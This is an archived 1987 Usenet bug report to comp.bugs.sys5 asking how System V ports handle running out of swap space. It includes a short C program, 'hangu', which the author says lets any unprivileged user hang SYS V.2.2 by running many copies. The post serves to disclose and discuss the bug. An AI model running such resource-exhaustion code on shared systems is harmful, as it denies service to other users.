Article View: comp.bugs.sys5
Article #508Sys V handling of insufficient swap space.
From: pingel
Date: Wed, 25 Feb 1987 18:14
Date: Wed, 25 Feb 1987 18:14
52 lines
2167 bytes
2167 bytes
How many Sys V ports cleanly deal with lack of swap space?
What is the typical method of dealing with this? Is there an
"accepted" response. Or do most systems simply terminate processes
to prevent crashing.
Example code as follows will bring out this bug. It's so simple that
anyone could produce it from scratch. Please NO FLAMES for posting
this code, as any user could code his own.
Any unprivileged user can hang SYS V.2.2 by compiling and
executing enough instances of the following simple program. This
can be achieved by continuously issue "hangu&" until the os hangs.
The operator's console will leave the following message when
this happens:
DANGER: Out of swap space
needed 30 pages.
The source of "hangu" is as follows:
/**********************************************************************
*
* Each instance of this program will require roughly 10 mega byte
* paging space.
*
* SYS V.2.2 will hang after running out of disk paging space.
*
* Allocate a large memory array and update each element.
*
*/
#define MAXSIZE 2621440
#define ITERATIONS 100
main()
{
register int inner,outer;
long array[MAXSIZE];
for (outer=0; outer < ITERATIONS; outer++) {
for (inner=0; inner<MAXSIZE; inner+=8) {
array[inner] = inner * outer;
}
}
return(0);
}
---------------------------------------------------------------------------
--
Lee Pingel, M/S 014790 harvard!vaxine!ima--+
Wang Laboratories Inc. decvax!wanginst!wang--+---wang7!pingel
1 Industrial Ave. appollo!vaxine!ima--+
Lowell, MA 01851 harvard!masscomp--+
Technical Details
Message-ID:
<1035@wang7.UUCP>Path:
arc1-ca.pugleaf.net!utzoo!utgpu!water!watnot!watmath!clyde!masscomp!wang7!pingelShow Full Headers
Complete Article Headers
Relay-Version: version B 2.10 5/3/83; site utzoo.UUCP Path: arc1-ca.pugleaf.net!utzoo!utgpu!water!watnot!watmath!clyde!masscomp!wang7!pingel From: pingel@wang7.UUCP Newsgroups: comp.bugs.sys5,comp.unix.wizards Subject: Sys V handling of insufficient swap space. Message-ID: <1035@wang7.UUCP> Date: Wed, 25-Feb-87 13:14:16 EST Article-I.D.: wang7.1035 Posted: Wed Feb 25 13:14:16 1987 Date-Received: Sat, 28-Feb-87 00:10:09 EST Organization: Wang Laboratories, Lowell, MA, USA Lines: 52 Keywords: swap crash